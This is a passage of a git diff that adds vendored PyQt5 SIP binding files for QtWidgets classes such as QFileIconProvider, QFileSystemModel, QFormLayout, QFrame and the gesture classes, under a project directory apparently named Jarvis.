supportedSchemes() const; +%End +%If (Qt_5_9_0 -) + QString selectedMimeTypeFilter() const; +%End +%If (Qt_5_14_0 -) + static void saveFileContent(const QByteArray &fileContent, const QString &fileNameHint = QString()) /ReleaseGIL/; +%End +}; + +QFlags operator|(QFileDialog::Option f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qfileiconprovider.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qfileiconprovider.sip new file mode 100644 index 00000000..33a995d2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qfileiconprovider.sip @@ -0,0 +1,71 @@ +// qfileiconprovider.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QFileIconProvider +{ +%TypeHeaderCode +#include +%End + +public: + QFileIconProvider(); + virtual ~QFileIconProvider(); + + enum IconType + { + Computer, + Desktop, + Trashcan, + Network, + Drive, + Folder, + File, + }; + + virtual QIcon icon(QFileIconProvider::IconType type) const; + virtual QIcon icon(const QFileInfo &info) const; + virtual QString type(const QFileInfo &info) const; +%If (Qt_5_2_0 -) + + enum Option + { + DontUseCustomDirectoryIcons, + }; + +%End +%If (Qt_5_2_0 -) + typedef QFlags Options; +%End +%If (Qt_5_2_0 -) + void setOptions(QFileIconProvider::Options options); +%End +%If (Qt_5_2_0 -) + QFileIconProvider::Options options() const; +%End + +private: + QFileIconProvider(const QFileIconProvider &); +}; + +%If (Qt_5_2_0 -) +QFlags operator|(QFileIconProvider::Option f1, QFlags f2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qfilesystemmodel.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qfilesystemmodel.sip new file mode 100644 index 00000000..b9cf4c5f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qfilesystemmodel.sip @@ -0,0 +1,128 @@ +// qfilesystemmodel.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QFileSystemModel : QAbstractItemModel +{ +%TypeHeaderCode +#include +%End + +public: + enum Roles + { + FileIconRole, + FilePathRole, + FileNameRole, + FilePermissions, + }; + + explicit QFileSystemModel(QObject *parent /TransferThis/ = 0); + virtual ~QFileSystemModel(); + virtual QModelIndex index(int row, int column, const QModelIndex &parent = QModelIndex()) const; + QModelIndex index(const QString &path, int column = 0) const; + virtual QModelIndex parent(const QModelIndex &child) const; + virtual bool hasChildren(const QModelIndex &parent = QModelIndex()) const; + virtual bool canFetchMore(const QModelIndex &parent) const; + virtual void fetchMore(const QModelIndex &parent); + virtual int rowCount(const QModelIndex &parent = QModelIndex()) const; + virtual int columnCount(const QModelIndex &parent = QModelIndex()) const; + QVariant myComputer(int role = Qt::ItemDataRole::DisplayRole) const; + virtual QVariant data(const QModelIndex &index, int role = Qt::ItemDataRole::DisplayRole) const; + virtual bool setData(const QModelIndex &index, const QVariant &value, int role = Qt::ItemDataRole::EditRole); + virtual QVariant headerData(int section, Qt::Orientation orientation, int role = Qt::ItemDataRole::DisplayRole) const; + virtual Qt::ItemFlags flags(const QModelIndex &index) const; + virtual void sort(int column, Qt::SortOrder order = Qt::AscendingOrder); + virtual QStringList mimeTypes() const; + virtual QMimeData *mimeData(const QModelIndexList &indexes) const; + virtual bool dropMimeData(const QMimeData *data, Qt::DropAction action, int row, int column, const QModelIndex &parent); + virtual Qt::DropActions supportedDropActions() const; + QModelIndex setRootPath(const QString &path); + QString rootPath() const; + QDir rootDirectory() const; + void setIconProvider(QFileIconProvider *provider /KeepReference/); + QFileIconProvider *iconProvider() const; + void setFilter(QDir::Filters filters); + QDir::Filters filter() const; + void setResolveSymlinks(bool enable); + bool resolveSymlinks() const; + void setReadOnly(bool enable); + bool isReadOnly() const; + void setNameFilterDisables(bool enable); + bool nameFilterDisables() const; + void setNameFilters(const QStringList &filters); + QStringList nameFilters() const; + QString filePath(const QModelIndex &index) const; + bool isDir(const QModelIndex &index) const; + qint64 size(const QModelIndex &index) const; + QString type(const QModelIndex &index) const; + QDateTime lastModified(const QModelIndex &index) const; + QModelIndex mkdir(const QModelIndex &parent, const QString &name); + QFileDevice::Permissions permissions(const QModelIndex &index) const; + bool rmdir(const QModelIndex &index); + QString fileName(const QModelIndex &aindex) const; + QIcon fileIcon(const QModelIndex &aindex) const; + QFileInfo fileInfo(const QModelIndex &aindex) const; + bool remove(const QModelIndex &index); + +signals: + void fileRenamed(const QString &path, const QString &oldName, const QString &newName); + void rootPathChanged(const QString &newPath); + void directoryLoaded(const QString &path); + +protected: + virtual bool event(QEvent *event); + virtual void timerEvent(QTimerEvent *event); + +public: +%If (Qt_5_7_0 -) + virtual QModelIndex sibling(int row, int column, const QModelIndex &idx) const; +%End +%If (Qt_5_14_0 -) + + enum Option + { + DontWatchForChanges, + DontResolveSymlinks, + DontUseCustomDirectoryIcons, + }; + +%End +%If (Qt_5_14_0 -) + typedef QFlags Options; +%End +%If (Qt_5_14_0 -) + void setOption(QFileSystemModel::Option option, bool on = true); +%End +%If (Qt_5_14_0 -) + bool testOption(QFileSystemModel::Option option) const; +%End +%If (Qt_5_14_0 -) + void setOptions(QFileSystemModel::Options options); +%End +%If (Qt_5_14_0 -) + QFileSystemModel::Options options() const; +%End +}; + +%If (Qt_5_14_0 -) +QFlags operator|(QFileSystemModel::Option f1, QFlags f2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qfocusframe.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qfocusframe.sip new file mode 100644 index 00000000..728d15cd --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qfocusframe.sip @@ -0,0 +1,40 @@ +// qfocusframe.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QFocusFrame : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + QFocusFrame(QWidget *parent /TransferThis/ = 0); + virtual ~QFocusFrame(); + void setWidget(QWidget *widget); + QWidget *widget() const; + +protected: + void initStyleOption(QStyleOption *option) const; + virtual bool eventFilter(QObject *, QEvent *); + virtual bool event(QEvent *e); + virtual void paintEvent(QPaintEvent *); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qfontcombobox.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qfontcombobox.sip new file mode 100644 index 00000000..121eba22 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qfontcombobox.sip @@ -0,0 +1,59 @@ +// qfontcombobox.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QFontComboBox : QComboBox +{ +%TypeHeaderCode +#include +%End + +public: + enum FontFilter + { + AllFonts, + ScalableFonts, + NonScalableFonts, + MonospacedFonts, + ProportionalFonts, + }; + + QFontComboBox::FontFilters fontFilters() const; + explicit QFontComboBox(QWidget *parent /TransferThis/ = 0); + virtual ~QFontComboBox(); + void setWritingSystem(QFontDatabase::WritingSystem); + QFontDatabase::WritingSystem writingSystem() const; + typedef QFlags FontFilters; + void setFontFilters(QFontComboBox::FontFilters filters); + QFont currentFont() const; + virtual QSize sizeHint() const; + +public slots: + void setCurrentFont(const QFont &f); + +signals: + void currentFontChanged(const QFont &f); + +protected: + virtual bool event(QEvent *e); +}; + +QFlags operator|(QFontComboBox::FontFilter f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qfontdialog.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qfontdialog.sip new file mode 100644 index 00000000..7dcc45d0 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qfontdialog.sip @@ -0,0 +1,91 @@ +// qfontdialog.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QFontDialog : QDialog +{ +%TypeHeaderCode +#include +%End + +public: + enum FontDialogOption + { + NoButtons, + DontUseNativeDialog, +%If (Qt_5_2_0 -) + ScalableFonts, +%End +%If (Qt_5_2_0 -) + NonScalableFonts, +%End +%If (Qt_5_2_0 -) + MonospacedFonts, +%End +%If (Qt_5_2_0 -) + ProportionalFonts, +%End + }; + + typedef QFlags FontDialogOptions; + explicit QFontDialog(QWidget *parent /TransferThis/ = 0); + QFontDialog(const QFont &initial, QWidget *parent /TransferThis/ = 0); + virtual ~QFontDialog(); + static QFont getFont(bool *ok, const QFont &initial, QWidget *parent = 0, const QString &caption = QString(), QFontDialog::FontDialogOptions options = QFontDialog::FontDialogOptions()) /ReleaseGIL/; + static QFont getFont(bool *ok, QWidget *parent = 0) /ReleaseGIL/; + +protected: + virtual void changeEvent(QEvent *e); + virtual void done(int result); + virtual bool eventFilter(QObject *object, QEvent *event); + +public: + void setCurrentFont(const QFont &font); + QFont currentFont() const; + QFont selectedFont() const; + void setOption(QFontDialog::FontDialogOption option, bool on = true); + bool testOption(QFontDialog::FontDialogOption option) const; + void setOptions(QFontDialog::FontDialogOptions options); + QFontDialog::FontDialogOptions options() const; + virtual void open(); + void open(SIP_PYOBJECT slot /TypeHint="PYQT_SLOT"/); +%MethodCode + QObject *receiver; + QByteArray slot_signature; + + if ((sipError = pyqt5_qtwidgets_get_connection_parts(a0, sipCpp, "()", false, &receiver, slot_signature)) == sipErrorNone) + { + sipCpp->open(receiver, slot_signature.constData()); + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(0, a0); + } +%End + + virtual void setVisible(bool visible); + +signals: + void currentFontChanged(const QFont &font); + void fontSelected(const QFont &font); +}; + +QFlags operator|(QFontDialog::FontDialogOption f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qformlayout.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qformlayout.sip new file mode 100644 index 00000000..fe0741b5 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qformlayout.sip @@ -0,0 +1,131 @@ +// qformlayout.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QFormLayout : QLayout +{ +%TypeHeaderCode +#include +%End + +public: + enum FieldGrowthPolicy + { + FieldsStayAtSizeHint, + ExpandingFieldsGrow, + AllNonFixedFieldsGrow, + }; + + enum RowWrapPolicy + { + DontWrapRows, + WrapLongRows, + WrapAllRows, + }; + + enum ItemRole + { + LabelRole, + FieldRole, + SpanningRole, + }; + + explicit QFormLayout(QWidget *parent /TransferThis/ = 0); + virtual ~QFormLayout(); + void setFieldGrowthPolicy(QFormLayout::FieldGrowthPolicy policy); + QFormLayout::FieldGrowthPolicy fieldGrowthPolicy() const; + void setRowWrapPolicy(QFormLayout::RowWrapPolicy policy); + QFormLayout::RowWrapPolicy rowWrapPolicy() const; + void setLabelAlignment(Qt::Alignment alignment); + Qt::Alignment labelAlignment() const; + void setFormAlignment(Qt::Alignment alignment); + Qt::Alignment formAlignment() const; + void setHorizontalSpacing(int spacing); + int horizontalSpacing() const; + void setVerticalSpacing(int spacing); + int verticalSpacing() const; + int spacing() const; + void setSpacing(int); + void addRow(QWidget *label /Transfer/, QWidget *field /Transfer/); + void addRow(QWidget *label /Transfer/, QLayout *field /Transfer/); + void addRow(const QString &labelText, QWidget *field /Transfer/); + void addRow(const QString &labelText, QLayout *field /Transfer/); + void addRow(QWidget *widget /Transfer/); + void addRow(QLayout *layout /Transfer/); + void insertRow(int row, QWidget *label /Transfer/, QWidget *field /Transfer/); + void insertRow(int row, QWidget *label /Transfer/, QLayout *field /Transfer/); + void insertRow(int row, const QString &labelText, QWidget *field /Transfer/); + void insertRow(int row, const QString &labelText, QLayout *field /Transfer/); + void insertRow(int row, QWidget *widget /Transfer/); + void insertRow(int row, QLayout *layout /Transfer/); + void setItem(int row, QFormLayout::ItemRole role, QLayoutItem *item /Transfer/); + void setWidget(int row, QFormLayout::ItemRole role, QWidget *widget /Transfer/); + void setLayout(int row, QFormLayout::ItemRole role, QLayout *layout /Transfer/); + QLayoutItem *itemAt(int row, QFormLayout::ItemRole role) const; + void getItemPosition(int index, int *rowPtr, QFormLayout::ItemRole *rolePtr) const; + void getWidgetPosition(QWidget *widget, int *rowPtr, QFormLayout::ItemRole *rolePtr) const; + void getLayoutPosition(QLayout *layout, int *rowPtr, QFormLayout::ItemRole *rolePtr) const; + QWidget *labelForField(QWidget *field) const; + QWidget *labelForField(QLayout *field) const; + virtual void addItem(QLayoutItem *item /Transfer/); + virtual QLayoutItem *itemAt(int index) const; + virtual QLayoutItem *takeAt(int index) /TransferBack/; + virtual void setGeometry(const QRect &rect); + virtual QSize minimumSize() const; + virtual QSize sizeHint() const; + virtual void invalidate(); + virtual bool hasHeightForWidth() const; + virtual int heightForWidth(int width) const; + virtual Qt::Orientations expandingDirections() const; + virtual int count() const; + int rowCount() const; +%If (Qt_5_8_0 -) + + struct TakeRowResult + { +%TypeHeaderCode +#include +%End + + QLayoutItem *labelItem; + QLayoutItem *fieldItem; + }; + +%End +%If (Qt_5_8_0 -) + void removeRow(int row); +%End +%If (Qt_5_8_0 -) + void removeRow(QWidget *widget); +%End +%If (Qt_5_8_0 -) + void removeRow(QLayout *layout); +%End +%If (Qt_5_8_0 -) + QFormLayout::TakeRowResult takeRow(int row); +%End +%If (Qt_5_8_0 -) + QFormLayout::TakeRowResult takeRow(QWidget *widget); +%End +%If (Qt_5_8_0 -) + QFormLayout::TakeRowResult takeRow(QLayout *layout); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qframe.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qframe.sip new file mode 100644 index 00000000..adc9ce84 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qframe.sip @@ -0,0 +1,79 @@ +// qframe.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QFrame : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + enum Shadow + { + Plain, + Raised, + Sunken, + }; + + enum Shape + { + NoFrame, + Box, + Panel, + WinPanel, + HLine, + VLine, + StyledPanel, + }; + + enum StyleMask + { + Shadow_Mask, + Shape_Mask, + }; + + QFrame(QWidget *parent /TransferThis/ = 0, Qt::WindowFlags flags = Qt::WindowFlags()); + virtual ~QFrame(); + int frameStyle() const; + void setFrameStyle(int); + int frameWidth() const; + virtual QSize sizeHint() const; + QFrame::Shape frameShape() const; + void setFrameShape(QFrame::Shape); + QFrame::Shadow frameShadow() const; + void setFrameShadow(QFrame::Shadow); + int lineWidth() const; + void setLineWidth(int); + int midLineWidth() const; + void setMidLineWidth(int); + QRect frameRect() const; + void setFrameRect(const QRect &); + +protected: + virtual bool event(QEvent *e); + virtual void paintEvent(QPaintEvent *); + virtual void changeEvent(QEvent *); + void drawFrame(QPainter *); +%If (Qt_5_5_0 -) + void initStyleOption(QStyleOptionFrame *option) const; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgesture.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgesture.sip new file mode 100644 index 00000000..6ef0ea6d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgesture.sip @@ -0,0 +1,191 @@ +// qgesture.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QGesture : QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QGesture(QObject *parent /TransferThis/ = 0); + virtual ~QGesture(); + Qt::GestureType gestureType() const; + Qt::GestureState state() const; + QPointF hotSpot() const; + void setHotSpot(const QPointF &value); + bool hasHotSpot() const; + void unsetHotSpot(); + + enum GestureCancelPolicy + { + CancelNone, + CancelAllInContext, + }; + + void setGestureCancelPolicy(QGesture::GestureCancelPolicy policy); + QGesture::GestureCancelPolicy gestureCancelPolicy() const; +}; + +class QPanGesture : QGesture +{ +%TypeHeaderCode +#include +%End + +public: + explicit QPanGesture(QObject *parent /TransferThis/ = 0); + virtual ~QPanGesture(); + QPointF lastOffset() const; + QPointF offset() const; + QPointF delta() const; + qreal acceleration() const; + void setLastOffset(const QPointF &value); + void setOffset(const QPointF &value); + void setAcceleration(qreal value); +}; + +class QPinchGesture : QGesture +{ +%TypeHeaderCode +#include +%End + +public: + enum ChangeFlag + { + ScaleFactorChanged, + RotationAngleChanged, + CenterPointChanged, + }; + + typedef QFlags ChangeFlags; + explicit QPinchGesture(QObject *parent /TransferThis/ = 0); + virtual ~QPinchGesture(); + QPinchGesture::ChangeFlags totalChangeFlags() const; + void setTotalChangeFlags(QPinchGesture::ChangeFlags value); + QPinchGesture::ChangeFlags changeFlags() const; + void setChangeFlags(QPinchGesture::ChangeFlags value); + QPointF startCenterPoint() const; + QPointF lastCenterPoint() const; + QPointF centerPoint() const; + void setStartCenterPoint(const QPointF &value); + void setLastCenterPoint(const QPointF &value); + void setCenterPoint(const QPointF &value); + qreal totalScaleFactor() const; + qreal lastScaleFactor() const; + qreal scaleFactor() const; + void setTotalScaleFactor(qreal value); + void setLastScaleFactor(qreal value); + void setScaleFactor(qreal value); + qreal totalRotationAngle() const; + qreal lastRotationAngle() const; + qreal rotationAngle() const; + void setTotalRotationAngle(qreal value); + void setLastRotationAngle(qreal value); + void setRotationAngle(qreal value); +}; + +class QSwipeGesture : QGesture +{ +%TypeHeaderCode +#include +%End + +public: + enum SwipeDirection + { + NoDirection, + Left, + Right, + Up, + Down, + }; + + explicit QSwipeGesture(QObject *parent /TransferThis/ = 0); + virtual ~QSwipeGesture(); + QSwipeGesture::SwipeDirection horizontalDirection() const; + QSwipeGesture::SwipeDirection verticalDirection() const; + qreal swipeAngle() const; + void setSwipeAngle(qreal value); +}; + +class QTapGesture : QGesture +{ +%TypeHeaderCode +#include +%End + +public: + explicit QTapGesture(QObject *parent /TransferThis/ = 0); + virtual ~QTapGesture(); + QPointF position() const; + void setPosition(const QPointF &pos); +}; + +class QTapAndHoldGesture : QGesture +{ +%TypeHeaderCode +#include +%End + +public: + explicit QTapAndHoldGesture(QObject *parent /TransferThis/ = 0); + virtual ~QTapAndHoldGesture(); + QPointF position() const; + void setPosition(const QPointF &pos); + static void setTimeout(int msecs); + static int timeout(); +}; + +class QGestureEvent : QEvent +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + sipType = ((sipCpp->type() == QEvent::Gesture) ? sipType_QGestureEvent : 0); +%End + +public: + explicit QGestureEvent(const QList &gestures); + virtual ~QGestureEvent(); + QList gestures() const; + QGesture *gesture(Qt::GestureType type) const; + QList activeGestures() const; + QList canceledGestures() const; + void setAccepted(bool accepted); + bool isAccepted() const; + void accept(); + void ignore(); + void setAccepted(QGesture *, bool); + void accept(QGesture *); + void ignore(QGesture *); + bool isAccepted(QGesture *) const; + void setAccepted(Qt::GestureType, bool); + void accept(Qt::GestureType); + void ignore(Qt::GestureType); + bool isAccepted(Qt::GestureType) const; + QWidget *widget() const; + QPointF mapToGraphicsScene(const QPointF &gesturePoint) const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgesturerecognizer.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgesturerecognizer.sip new file mode 100644 index 00000000..cb93a639 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgesturerecognizer.sip @@ -0,0 +1,50 @@ +// qgesturerecognizer.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QGestureRecognizer /Supertype=sip.wrapper/ +{ +%TypeHeaderCode +#include +%End + +public: + enum ResultFlag + { + Ignore, + MayBeGesture, + TriggerGesture, + FinishGesture, + CancelGesture, + ConsumeEventHint, + }; + + typedef QFlags Result; + QGestureRecognizer(); + virtual ~QGestureRecognizer(); + virtual QGesture *create(QObject *target) /Factory/; + virtual QFlags recognize(QGesture *state, QObject *watched, QEvent *event) = 0; + virtual void reset(QGesture *state); + static Qt::GestureType registerRecognizer(QGestureRecognizer *recognizer /Transfer/); + static void unregisterRecognizer(Qt::GestureType type); +}; + +QFlags operator|(QGestureRecognizer::ResultFlag f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicsanchorlayout.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicsanchorlayout.sip new file mode 100644 index 00000000..8d46103e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicsanchorlayout.sip @@ -0,0 +1,67 @@ +// qgraphicsanchorlayout.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QGraphicsAnchor : QObject +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QGraphicsAnchor(); + void setSpacing(qreal spacing); + void unsetSpacing(); + qreal spacing() const; + void setSizePolicy(QSizePolicy::Policy policy); + QSizePolicy::Policy sizePolicy() const; + +private: + QGraphicsAnchor(QGraphicsAnchorLayout *parent); +}; + +class QGraphicsAnchorLayout : QGraphicsLayout +{ +%TypeHeaderCode +#include +%End + +public: + QGraphicsAnchorLayout(QGraphicsLayoutItem *parent /TransferThis/ = 0); + virtual ~QGraphicsAnchorLayout(); + QGraphicsAnchor *addAnchor(QGraphicsLayoutItem *firstItem /Transfer/, Qt::AnchorPoint firstEdge, QGraphicsLayoutItem *secondItem /Transfer/, Qt::AnchorPoint secondEdge); + QGraphicsAnchor *anchor(QGraphicsLayoutItem *firstItem, Qt::AnchorPoint firstEdge, QGraphicsLayoutItem *secondItem, Qt::AnchorPoint secondEdge); + void addCornerAnchors(QGraphicsLayoutItem *firstItem /Transfer/, Qt::Corner firstCorner, QGraphicsLayoutItem *secondItem /Transfer/, Qt::Corner secondCorner); + void addAnchors(QGraphicsLayoutItem *firstItem /Transfer/, QGraphicsLayoutItem *secondItem /Transfer/, Qt::Orientations orientations = Qt::Horizontal | Qt::Vertical); + void setHorizontalSpacing(qreal spacing); + void setVerticalSpacing(qreal spacing); + void setSpacing(qreal spacing); + qreal horizontalSpacing() const; + qreal verticalSpacing() const; + virtual void removeAt(int index); + virtual void setGeometry(const QRectF &rect); + virtual int count() const; + virtual QGraphicsLayoutItem *itemAt(int index) const; + virtual void invalidate(); + +protected: + virtual QSizeF sizeHint(Qt::SizeHint which, const QSizeF &constraint = QSizeF()) const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicseffect.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicseffect.sip new file mode 100644 index 00000000..ee3370ee --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicseffect.sip @@ -0,0 +1,187 @@ +// qgraphicseffect.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QGraphicsEffect : QObject +{ 